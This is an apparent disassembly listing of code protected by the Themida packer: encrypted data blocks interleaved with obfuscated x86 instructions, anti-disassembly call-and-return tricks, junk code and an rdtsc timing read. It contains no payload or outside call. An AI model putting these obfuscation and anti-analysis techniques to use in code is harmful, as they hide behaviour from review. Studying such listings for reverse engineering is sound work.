		dd 0BEC92651h, 63505B58h, 0B2243481h, 6641BE3Bh, 5E9D78Bh
		dd 0FB000000h, 0FC21FE3Bh, 0F95B5FFh, 0BD8906A8h, 6A82565h
		dd 2FFD958Bh, 858D06A8h, 6AB6971h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 36C35141h, 8DFCD0FFh, 0AB2EF385h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0CE8002C2h, 0F6B70F84h, 898589F8h, 6A06A80Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D31FC353h, 0B2BE7388h, 30ADB58Bh, 206A06A8h
		dd 95FFFF6Ah, 6A80F89h,	50414935h, 0E585C753h, 106A81Fh
		dd 0C7000000h, 0A820D585h, 6, 0D0BF0F00h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0BC35141h, 6346E4A4h
		dd 0E53D147Ah, 0FE9h, 0B7F10800h, 0C16F4817h, 0C8219241h
		dd 42EC0518h, 858B1EB2h, 6A81EADh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0BEC35141h,	0C4A77263h, 820F2F17h
		dd 6, 3015958Bh, 0A36406A8h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CD93B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD93B	proc near		; CODE XREF: Themida_:005CD933p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5CD93B	endp

; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------
		inc	edi
		sub	edx, [ebx]
		mov	cs:[ebp+6A813F5h], edi
		jmp	loc_5CD96F
; ---------------------------------------------------------------------------
		db 0A1h
		dd 9003B74Dh, 9262C634h, 0BC0F90C4h, 0F18ADC43h
; ---------------------------------------------------------------------------
		add	[ecx], edi
		aaa


loc_5CD96F:				; CODE XREF: Themida_:005CD956j
		cmp	dword ptr [ebp+6A80061h], 0
		jz	loc_5CD998
		pusha
		stc
		mov	esi, [ebp+6A80C89h]
		popa
		mov	eax, [ebp+6A82589h]
		mov	esi, 70F82B8Eh
		mov	esp, eax
		add	[ebp+6A814F5h],	ecx


loc_5CD998:				; CODE XREF: Themida_:005CD976j
		cmp	dword ptr [ebp+6A8276Dh], 0
		jnz	loc_5CDD41
		call	loc_5CD9BB
		and	edx, edx
		sub	[ebp+7Bh], dl
		call	near ptr 4F079162h
; ---------------------------------------------------------------------------
		dd 0A002DEFEh
		db 0F2h, 0E5h, 44h
; ---------------------------------------------------------------------------


loc_5CD9BB:				; CODE XREF: Themida_:005CD9A5p
		mov	edx, [ebp+6A82545h]
		pop	esi
		mov	byte ptr [ebp+6A815D5h], 56h
		push	590AA798h
		mov	edx, 75612BD7h
		add	dword ptr [esp], 50BA8947h
		movzx	esi, bx
		push	dword ptr [ebp+6A80F95h]
		stc
		lea	eax, [ebp+6AB6971h]
		call	eax
		movsx	esi, bx
		nop
		mov	dx, 7DADh
		push	eax
		mov	esi, edi
		nop
		mov	si, di
		lea	ecx, [ebp+6A82CD9h]
		xchg	eax, ecx
		push	edx
		push	eax
		push	edx
		mov	dx, cx
		rdtsc
		pop	edx
		pop	eax
		pop	esi
		push	eax
		pusha
		jmp	loc_5CDA22
; ---------------------------------------------------------------------------
		dd 228B9500h, 14FF747Eh, 19A314A0h
		db 0ECh, 0F6h
; ---------------------------------------------------------------------------


loc_5CDA22:				; CODE XREF: Themida_:005CDA0Fj
		mov	dh, 0CDh
		popa
		xchg	eax, ecx
		mov	edx, [ebp+6A8152Dh]
		push	4
		mov	edx, [ebp+6A80511h]
		call	sub_5CDA3D
		add	[eax], dl
; ---------------------------------------------------------------------------
		db 0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5CDA3D	proc near		; CODE XREF: Themida_:005CDA34p
		push	eax
		mov	dx, bx
		mov	eax, [esp+4]
		mov	dl, bh
		mov	eax, [eax]
		jmp	loc_5CDA57
; ---------------------------------------------------------------------------
		dw 0E4A0h
		dd 8D40D9B2h
		db 0F8h, 0E9h, 0B4h
; ---------------------------------------------------------------------------


loc_5CDA57:				; CODE XREF: sub_5CDA3D+Cj
		mov	[esp+4], eax
		jmp	loc_5CDA71
; ---------------------------------------------------------------------------
		dd 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch
		db 0BDh
; ---------------------------------------------------------------------------


loc_5CDA71:				; CODE XREF: sub_5CDA3D+1Ej
		pop	eax
		pusha
		or	[ebp+6A83345h],	esi
		popa
		push	dword ptr [ebp+6A831D5h]
		movzx	esi, ax
		call	eax
		jmp	loc_5CDA9A
; ---------------------------------------------------------------------------
		dw 0B0AEh
		dd 0A276A784h, 0B22AA04Ah, 0D51D58EFh
		db 0AFh, 0ECh
; ---------------------------------------------------------------------------


loc_5CDA9A:				; CODE XREF: sub_5CDA3D+48j
		mov	edi, [ebp+6A831D5h]
		jz	loc_5CDAA9
		movsx	edx, si


loc_5CDAA9:				; CODE XREF: sub_5CDA3D+63j
		add	edi, [edi+3Ch]
		push	0
		push	edi
		call	sub_5CDAB7
		and	[edi-3Dh], bl
sub_5CDA3D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CDAB7	proc near		; CODE XREF: sub_5CDA3D+72p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5CDAB7	endp

; ---------------------------------------------------------------------------
		db 0D7h
		dd 279A807Fh, 11B52960h, 5106A831h, 1E0D958Bh, 615F06A8h
		dd 8342D281h, 0C78164E2h, 0F8h,	34DA8166h, 2447C7D9h, 60000020h
		dd 83D6B70Fh, 0B03BBEBDh, 840F0006h, 164h, 28C783F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0D2635E5Fh
		dd 7C70C02h, 64696A2Eh,	0FE8h, 14B1AE00h, 567C7C82h, 0DD41726Dh
		dd 0B481500Eh, 3C1BDA81h, 0C75A0967h, 74610447h, 0CE90061h
		dd 0D2000000h, 733E83BEh, 9B134694h, 8B772B0Bh,	0B03BC685h
		dd 0B70F6006h, 6800FF6h, 89000000h, 0A80CA18Dh,	0B58B6106h
		dd 6A82AE9h, 890C4789h,	0A81D6985h, 0CA858B06h,	8B06B03Bh
		dd 0A8335D95h, 89D38B06h, 6A0847h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0C783A5C3h, 12E928h
		dd 0C9E30000h, 0BFEC30C8h, 25398A4h, 61C74A43h,	0D9ECEACCh
		dd 632E07C7h, 6A6E6Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 73A089C3h, 0D68B99D6h, 8BFB5941h
		dd 0C1B503D7h, 0C706A819h, 69660447h, 0BD890067h, 6A80515h
		dd 3BC2858Bh, 606006B0h, 2C798D89h, 9E906A8h, 8000000h
		dd 0EF5A60ABh, 0D70CDFB0h, 61C18A61h, 8B0C4789h, 0A826A5B5h
		dd 0CE906h, 0BF9B0000h,	56ED9B5Dh, 0A56AC49Ch, 858B1F24h
		dd 6B03BBEh, 27192EBEh,	8478975h, 2840Fh, 0D08B0000h, 0F59D3157h
		dd 5E06A81Fh, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0BC7C42E5h, 8DB58B3Eh, 8D06A80Fh
		dd 0A800758Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 28520F86h, 50508CD5h
		dd 0C88A6052h, 0F615A53h, 12E931h, 0C67F0000h, 8279D4Bh
		dd 0DB339AE4h, 5D5E71F3h, 9A85AF64h, 0C89585Ah,	0FFF18B24h
		dd 0A82CD9B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 635387EBh, 8BE418F1h
		dd 0CAF281F3h, 680CF0E1h, 3574A0C6h, 28F0F60h, 8B000000h
		dd 5F5153C3h, 34816158h, 74B0C624h, 21BD0135h, 6606A81Ch
		dd 0B5FFD68Bh, 6A831D5h, 39D9B9BAh, 8BD0FF58h
		db 0F0h
; ---------------------------------------------------------------------------


loc_5CDD41:				; CODE XREF: Themida_:005CD99Fj
		mov	eax, 0
		push	0
		push	edi
		call	sub_5CDD51
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDD51	proc near		; CODE XREF: Themida_:005CDD49p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CDD51	endp

; ---------------------------------------------------------------------------
		db 0EEh, 0C1h, 56h
; ---------------------------------------------------------------------------
		mov	[ebp+6A82AC5h],	edx
		pop	esi
		or	eax, eax
		jz	loc_5CDDB5
		mov	edx, [ebp+6A80A95h]
		mov	edx, [ebp+6A831D1h]
		push	dword ptr [ebp+6A80D6Dh]
		mov	esi, 35E0925Fh
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	edx
		call	sub_5CDD9B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDD9B	proc near		; CODE XREF: Themida_:005CDD93p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CDD9B	endp

; ---------------------------------------------------------------------------
		db 0F1h
		dd 7B3A095Fh, 7C9B8627h
; ---------------------------------------------------------------------------
		cld


loc_5CDDB5:				; CODE XREF: Themida_:005CDD6Dj
		mov	eax, eax
		push	0
		push	eax
		call	sub_5CDDC2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDDC2	proc near		; CODE XREF: Themida_:005CDDBAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5CDDC2	endp

; ---------------------------------------------------------------------------
		dw 0C16Ch
; ---------------------------------------------------------------------------
		mov	al, ds:9D896D3Bh
		or	ds:8D8906A8h, ecx
		dec	ebp
		push	gs
		push	es
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_5CDDF5
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_5CDE0E


loc_5CDDF5:				; CODE XREF: Themida_:005CDDEAj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6A80FD5h],	eax
		lea	ebx, [ebp+6AAA213h]
		call	ebx
		pop	ebx
		pop	eax


loc_5CDE0E:				; CODE XREF: Themida_:005CDDF3j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_5CDE2E
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6A80FD5h],	eax
		lea	ebx, [ebp+6AA9EB4h]
		call	ebx
		pop	ebx
		pop	eax


loc_5CDE2E:				; CODE XREF: Themida_:005CDE15j
		mov	[ebp+6A81A59h],	ebx
		mov	si, 16C3h
		mov	eax, eax
		jno	loc_5CDE58
		jmp	loc_5CDE58
; ---------------------------------------------------------------------------
		align 2
		dw 9810h
		dd 4D98CEEFh
		db 28h,	56h
; ---------------------------------------------------------------------------


loc_5CDE4E:				; CODE XREF: Themida_:005CDE5Fj
		mov	eax, ds:0D55993B6h
		sbb	dword ptr [edi-55h], 0FFFFFFD9h
		outsd


loc_5CDE58:				; CODE XREF: Themida_:005CDE3Aj
					; Themida_:005CDE40j
		mov	eax, eax
		call	near ptr loc_5CDE63+5
		jz	short loc_5CDE4E
		dec	ecx
		xchg	eax, ecx


loc_5CDE63:				; CODE XREF: Themida_:005CDE5Ap
		imul	esi, [ecx+74h],	8B562E68h
		rcr	byte ptr [ecx+5Fh], 1
		mov	ebx, [ebp+6A80B3Dh]
		add	edi, 6D8Ah
		movsx	ecx, si
		mov	esi, 79ADA594h
		add	esi, 865275ABh
		mov	[ebp+6A82CE5h],	edi


loc_5CDE8D:				; CODE XREF: Themida_:005CDEE5j
		push	dword ptr [edi]
		sbb	bl, 0F8h
		pop	eax
		mov	ecx, eax
		sub	eax, 5A5D76F5h
		pusha
		mov	esi, [ebp+6A820C9h]
		jl	loc_5CDEAE
		or	edi, [ebp+6A8297Dh]


loc_5CDEAE:				; CODE XREF: Themida_:005CDEA2j
		popa
		add	eax, 22E1D62Eh
		jno	loc_5CDEBE
		adc	ch, 71h


loc_5CDEBE:				; CODE XREF: Themida_:005CDEB5j
		add	eax, 222C080Bh
		mov	ecx, edx
		mov	[edi], eax
		jmp	loc_5CDED6
; ---------------------------------------------------------------------------
		db 0E6h, 2Dh, 0E9h
		dd 7FBC4B97h
		db 0DFh, 5
; ---------------------------------------------------------------------------


loc_5CDED6:				; CODE XREF: Themida_:005CDEC8j
		sub	edi, 4
		mov	[ebp+6A81449h],	edx
		sub	esi, 1
		jnz	loc_5CDE8D
		add	[ebp+6A82295h],	eax
		lea	ecx, [ebp+6B045FEh]
		jmp	loc_5CDF03
; ---------------------------------------------------------------------------
		jno	short loc_5CDF5D
		mov	[eax-73h], esi
		cwde


loc_5CDF03:				; CODE XREF: Themida_:005CDEF7j
		mov	[ebp+6A805B9h],	ecx
		push	0
		push	ebx
		call	sub_5CDF14
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDF14	proc near		; CODE XREF: Themida_:005CDF0Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5CDF14	endp

; ---------------------------------------------------------------------------
		dd 8B22A18Ah, 0A80B69B5h, 6985C706h, 6406A814h,	6A000074h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0DD8FC350h, 0E9FB89BCh, 6
		db 83h
; ---------------------------------------------------------------------------


loc_5CDF5D:				; CODE XREF: Themida_:005CDEFCj
		sub	ecx, edi
		idiv	edx
		out	dx, eax
		mov	dword ptr [ebp+6A80BBDh], 0
		push	0
		push	edx
		call	sub_5CDF77
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDF77	proc near		; CODE XREF: Themida_:005CDF6Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5CDF77	endp

; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------
		wait
		aad	9Dh
		shl	edi, 32h
		mov	esp, 0D41B5FFh
		test	al, 6
		push	0
		push	edx
		call	sub_5CDFA0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDFA0	proc near		; CODE XREF: Themida_:005CDF98p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5CDFA0	endp

; ---------------------------------------------------------------------------
		cmpsd
		leave
		test	[esi-32AE5325h], ch
		cwde
		add	cl, [ebx-57F9D27Bh]
		push	es
		pusha
		mov	eax, [ebp+6A832ADh]
		mov	edi, [ebp+6A828A9h]
		popa
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	ecx
		call	sub_5CDFDF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDFDF	proc near		; CODE XREF: Themida_:005CDFD7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5CDFDF	endp

; ---------------------------------------------------------------------------
		db 0AFh
		dd 754363C5h, 32BD71D0h, 1F099D89h, 858906A8h, 6A807CDh
		dd 95FF006Ah, 6A81B31h,	7CEBC08Bh, 80B36335h, 38DEF44Eh
		dd 70894317h, 0BF66644Eh, 813A0F7Eh, 0AC8A597Eh, 0EF6AB616h
		dd 0BE804340h, 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh
		dd 1B65EA77h, 4FBEE627h, 5CB78012h, 110717CCh, 4F9AD8CDh
		dd 0B893273Eh, 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h
		dd 0D1BDB1Bh, 0A84D1880h, 959CFDA8h, 4F1A31CFh,	0E75B76BEh
		dd 0F4BBC2FCh, 7528F235h, 15ABBBB7h, 7D69B573h,	472F8D8Dh
		dd 6A06B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8D893CC3h, 6A805B9h, 0C7FE8B66h, 0A8146985h
		dd 59F406h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0FDB91486h, 0BD85C7A3h, 6A80Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0C4F6C352h, 3509B5FFh, 0F58A06A8h, 20DD95FFh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 9F9C7FC3h, 0FF006A63h, 0A81B3195h, 0EBC08B06h
		dd 0CC053868h, 0F2183FCEh, 4A50710Dh, 71531DF6h, 959EA0BEh
		dd 0D1719CB9h, 0CB16CBCAh, 0A6F98412h, 0DB640941h, 0CBF04AD2h
		dd 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 0B0B4619Fh, 7B45196Ah
		dd 0EBA16578h, 0CAD94C90h, 0B3745243h, 8BD68543h, 1255F9F5h
		dd 7597C3BEh, 7EA9AD9Ch, 0FE3F44B1h, 8D5B445Dh,	9BBDD071h
		dd 7FC9000Dh, 128D8D82h, 306B048h, 0A82DED9Dh, 0B98D8906h
		dd 0E806A805h, 7, 0AE6C9B56h, 0F9982313h, 6985C75Bh, 0C406A814h
		dd 0B3000067h, 0BD85C78Fh, 6A80Bh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 12FC357h, 0A824E5BDh, 15B5FF06h, 8B06A809h, 0A81DE59Dh
		dd 0DD95FF06h, 6606A820h, 0A64ED281h, 95FF006Ah, 6A81B31h
		dd 5FEBC08Bh, 69CA5FDCh, 0F9E7CE84h, 0BC11F4F7h, 6864C8FDh
		dd 0B20230FEh, 8ACA3677h, 0C4339D7Fh, 93C11113h, 0DFBD2D2h
		dd 22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 0AAE19B91h
		dd 0E4415BC8h, 63AE3C4Dh, 108AF5A2h, 0BF78C522h, 0AB2DE850h
		dd 3E902D97h, 8C019A62h, 716FF863h, 0FED7F782h,	0E86A70A5h
		dd 0Fh,	6744198Bh, 0A7E0A52Eh, 64FF04C2h, 357DF41h, 0A8225195h
		dd 0C1815906h, 6966h, 6840Fh, 95890000h, 6A82E0Dh, 1A3368h
		dd 95895600h, 6A81101h,	858B5B5Ah, 6A82EC5h, 0CAB4318Bh
		dd 0A941F681h, 8F0F76CBh, 6, 14C98529h,	0C68106A8h, 679A722Eh
		dd 864379BFh, 5FF68115h, 891D185Ch, 0A8208995h,	0BD895606h
		dd 6A80BD5h, 858B018Fh,	6A81721h, 0BD4EE981h, 81664E0Ah
		dd 817CDCC8h, 0ABD4AC1h, 1BD8B4Eh, 8106A810h, 1EBh, 0A1850F00h
		dd 66FFFFFFh, 0EBFB8Bh,	3BAE9h,	0F1B8DF00h, 20650AB5h
		dd 561F399Ah, 86C36FD0h, 0B3FE9F00h, 49C9E877h,	7E216528h
		dd 0AA1591DCh, 0DC47C38Ah, 32AAF0B9h, 209A9E28h, 2268B608h
		dd 1752FF05h, 41083093h, 71345AC5h, 2CE98A35h, 0CBDC4108h
		dd 0A6CB34D2h, 0AB84CD6Bh, 7B1C870Dh, 2F4FF036h, 2A034AEAh
		dd 5811339Ch, 8BC261C2h, 99D0745Fh, 2F950314h, 0F0BDDEC1h
		dd 79A6E38Fh, 57E8820h,	86B6073Ch, 367F1E09h, 5F1A38E9h
		dd 0D17D22D2h, 0EB8D7694h, 0E340052Ah, 0C270D1CAh, 10AB1187h
		dd 59E307BCh, 0BCAF4B9Eh, 0E466CB64h, 0BCAF4BA0h, 0CCCE573Ch
		dd 1F88A2D0h, 12537h, 5EFF0800h, 1BAE5BF2h, 544D28AEh
		dd 0B1E913CFh, 93AF58C4h, 0DF440D30h, 0DE74D5CEh, 9F05169Bh
		dd 0C50B3B4Dh, 5EF9AF58h, 6C2547A8h, 0A4A737C7h, 9D97FED7h
		dd 0E9774A4h, 3FE0266Fh, 4FC8551Ch, 16B056EDh, 0B60086E3h
		dd 262976A1h, 7758248Dh, 921D9BD6h, 0D5D577F3h,	8BB60086h
		dd 873971h, 0DE200BB6h,	0E00E9C75h, 931059FFh, 2B891E9Ah
		dd 0C1D06A90h, 83BCA8A5h, 0F29172A8h, 0F32576BBh, 48E9CA10h
		dd 5B8F9805h, 0A8A5E921h, 3870DBBCh, 6F9BD677h,	0ADE484h
		dd 50BA22F6h, 1AF32064h, 0E5CE349Eh, 88A10E47h,	93DE7F20h
		dd 912C8D0Eh, 0CD07D375h, 52FDBCA8h, 0BCFC0EB4h, 86BCA8CCh
		dd 6810BADh, 62A6E096h,	41BCA8CDh, 0D2CB682Dh, 984E2710h
		dd 50D62F6Eh, 1DA731C3h, 13525DC1h, 0AE89B7E1h,	0B2FFA001h
		dd 26608E74h, 0C34FD9E2h, 0DA464284h, 133CC34Fh, 6F3078D3h
		dd 9D1E83CEh, 2365813Ch, 0C34FDA1Bh, 0B84983E9h, 0FE06A6D2h
		dd 0EF2D6D95h, 1A1FC34Fh, 0D16258EAh, 6D46F1F1h, 98D576D9h
		dd 1CBA2502h, 57D6AEEAh, 1F56F5AFh, 733464CFh, 3A4C7AC1h
		dd 0B5FFE413h, 7AA046F1h, 0FFE3C8C0h, 791BAB5h,	1158FBA4h
		dd 226B0AF5h, 355D0CF6h, 9A40FB5Ch, 0D8501539h,	0E46EB650h
		dd 1635B5FFh, 0C568CB5Fh, 352E6304h, 5D1437E8h,	86DC2FA9h
		dd 941950F3h, 86E94B83h, 0FC432088h, 0A4C7CE57h, 0EDBF39EDh
		dd 2A6F0445h, 0DE273FD0h, 6844F05Ah, 8F147739h,	2Ch, 0EA1CBA90h
		dd 0AF57D6AEh, 59103394h, 1059FF60h, 16AD0F98h,	92356F0h
		dd 36E1B600h, 0D41538E9h, 62BBF8B1h, 14B23D89h,	95000000h
		dd 0F01653FFh, 8320690Fh, 5F480D22h, 9AB96AD9h,	0FF6857D3h
		dd 14901653h, 0D778B4D6h, 0E14AAF57h, 0E840E3BCh, 2CE2F974h
		dd 4DD2CB66h, 4280218Ah, 95113798h, 58873773h, 49220DAFh
		dd 0CBC305EFh, 0B9AF5886h, 0A1397416h, 7AB14BC1h, 0FA2019C6h
		dd 58274840h, 0F5113AAFh, 8320650Ah, 1B840EAAh,	7EF53178h
		dd 6008EBB5h, 66CB82A1h, 0C6D75C35h, 17ED52h, 0FFC80000h
		dd 0EF1155Ch, 1B88206Dh, 4A2EB8Ah, 6DB2F79Bh, 0E216FC3Ch
		dd 1158FF79h, 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h
		dd 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8268FA4Ah
		dd 89000050h, 0E6892434h, 4C681h, 0EE830000h, 24348704h
		dd 3154685Ch, 4890000h,	5F7E6824h, 2C890000h, 4BC56824h
		dd 34890000h, 4920BE24h, 0F08906B0h, 4079685Eh,	24890000h
		dd 24048124h, 4, 0BD55505Dh, 5AEF545Dh,	4246C01h, 8458F5Dh
		dd 5D086D81h, 8B5AEF54h, 8956242Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 24048B5Ch, 81E78957h, 4C7h,	4C78100h
		dd 87000000h, 0E95C243Ch, 0FFF830EAh, 0B8234C12h, 6B04C49h
		dd 0E0FFC503h, 6B9672Dh, 50F0CC6Ch, 32F025D8h, 7B76A263h
		dd 1FED26A4h, 215419BCh, 26C56B86h, 54BF9992h, 7FCF0FA0h
		dd 3995FBE2h, 2A8B74EBh, 0A50011Bh, 1328D77Dh, 42219B0Bh
		dd 5BE7F05h, 463CD5FDh,	0AE9h, 9BD65500h, 0B27C78ECh, 0F04E821h
		dd 8Ch,	4840F00h, 66000000h, 0B903D5BBh, 2AFE4954h, 0B0B96660h
		dd 61C18BB1h, 5EF38B51h, 0BE9h,	3F7FDC00h, 69B08983h, 13018B62h
		dd 0A15042BBh, 3CDB8169h, 0F68407Dh, 8Fh, 14E800h, 0F7FA0000h
		dd 0CD4019BFh, 0B5B06591h, 1AC02E28h, 43B5ED28h, 0F55F6767h
		dd 61F6F181h, 0E78A6D92h, 58D0Fh, 81660000h, 0E88730C1h
		dd 13h,	0F99A6AF3h, 0F32CD6ECh,	0C9E68870h, 32D2B3D5h
		dd 5AC494F9h, 0A7D0B966h, 0AE9h, 6FF23200h, 847FBB2Bh
		dd 663A2194h, 8166CB8Bh, 81466CD6h, 8DD7E4CBh, 0C4C0803Ch
		dd 0CB8AF98Bh
		dd 0BEB9B966h, 8A0F5DB6h, 4, 51C1BB66h,	66609DB1h, 0D7FBC281h
		dd 7E9h, 856C6800h, 0C71B45F9h,	11E95661h, 6D000000h, 0F4E52270h
		dd 4879818Fh, 0F2D5EEB1h, 4DF79888h, 0F560F95Eh, 0AE9h
		dd 96AE1900h, 13181606h, 61959BE5h, 0ACF4EA81h,	12E86586h
		dd 56000000h, 0B11ADB6Ch, 85CCCA28h, 696AE19h, 0E5131816h
		dd 8166609Bh, 0E9E783C7h, 5, 65A9C22Ah,	52586118h, 6059E88Ah
		dd 0FBFD580h, 68Fh, 8C0F00h, 61000000h,	5C0FB966h, 16890Fh
		dd 0DE80000h, 9E000000h, 0D3E5DBEDh, 914E07EEh,	675CC060h
		dd 5BFAB70Fh, 9E8h, 2CCA8800h, 3E922C07h, 870FE40Ch, 5
		dd 38E129BFh, 870F5F51h, 0Fh, 0AE9h, 40E29F00h,	81EEE5FCh
		dd 66F468AAh, 73ABF681h, 6E8h, 0DB006F00h, 0FBB1D4Eh, 1688h
		dd 10E800h, 78EC0000h, 0E821B27Ch, 89D9ED04h, 0DDC6393Eh
		dd 585B58EDh, 0D2EE8166h, 6E95246h, 3000000h, 0ECB36F0Ah
		dd 0B3F95EF0h, 0EDE1818Ah, 605BCFE0h, 800Fh, 10E90000h
		dd 0A000000h, 0D1481937h, 9423EF63h, 1317C8B6h,	61BFA89Ah
		dd 5810FF9h, 66000000h,	39FCEA81h, 0B6B98EB0h, 0E851FBC9h
		dd 6, 654F0725h, 9E9536Eh, 0D8000000h, 0DC0DBF4Bh, 0C35560ACh
		dd 0B70FF85Ah, 2880FFFh, 8A000000h, 0FE9CCh, 5BAF0000h
		dd 5F8C9D4Eh, 0EC887FAh, 63DE4155h, 0C78BF552h,	0A9E28166h
		dd 0F1B9666Ah, 6E9F2h, 961E0000h, 9DF891F6h, 0C2857DBFh
		dd 3800F3Eh, 80000000h,	0C28B39E8h, 21E1D881h, 81660469h
		dd 668125DEh, 0D68BC38Bh, 0B70FCB8Bh, 0EE860F1h, 7E000000h
		dd 0BC0B4EA1h, 0BF8E74BFh, 54C95716h, 0FE87Dh, 7C000000h
		dd 68206FAh, 19D955Ah, 0A85FCA2Dh, 605A5BCAh, 8C0Fh, 0E7B70000h
		dd 0BF0F6161h, 0BE9C0h,	0E75B0000h, 0F4BBC2FCh,	7528F235h
		dd 0F5653B7h, 8Ch, 565E5B00h, 665ED08Ah, 3CECF681h, 0EAD78166h
		dd 8B665361h, 0F85759C8h, 3850F58h, 0F000000h, 0B866DFB7h
		dd 0FFCAF7Ah, 688h, 860F00h, 8B000000h,	8D0F57F8h, 6, 0C6A2F081h
		dd 0BA5F463Eh, 192CDCF2h, 0E9D8BF0Fh, 13h, 0C1C4C9E7h
		dd 6303B8C8h, 14F31061h, 0E985DCF4h, 0F7CB3FFh,	584h, 13DCB800h
		dd 66F94951h, 0ED26C781h, 7E8h,	82EED400h, 0EB187EDEh
		dd 0CE9h, 133A7100h, 555E790Fh,	9A30E6D1h, 0B9665AB7h
		dd 8A0F1631h, 6, 0F133D081h, 60602C2Dh,	0F08BFCB6h, 0A8EF8061h
		dd 0C18B6661h, 0BE73B866h, 8840FF8h, 52000000h,	2F15CE81h
		dd 0F5B1E92h, 0EE8D9BFh, 21000000h, 6A9529A5h, 0AD29B4Ch
		dd 7EFEEE58h, 0F38B6638h, 10E95Eh, 68A0000h, 0B2D02092h
		dd 4516BD2Dh, 892F8F62h, 0B866B2A4h, 0FE8BF66h,	0A6000000h
		dd 479A207Ch, 2D98AEC3h, 4B5A745Bh, 0E9598FB1h,	8, 0EF773182h
		dd 0B5D9C197h, 1870Fh, 0E9F90000h, 0Ch,	10139558h, 60924635h
		dd 8334FBFBh, 2800F52h,	8B000000h, 0F5358CEh, 18Ch, 0F59FC00h
		dd 588h, 0D4EEBA00h, 860F306Ch,	5, 0CE4908BEh, 0CE97Ch
		dd 0B8900000h, 9CCF4ABBh, 59D35ECFh, 0DA8B1A95h, 13E9h
		dd 0D433AD00h, 0AE97D6F9h, 5BD61584h, 51394387h, 8975F290h
		dd 0E8CEBF0Fh, 0Dh, 3AC373FBh, 71108F1Dh, 0F0F12BFDh, 3820F08h
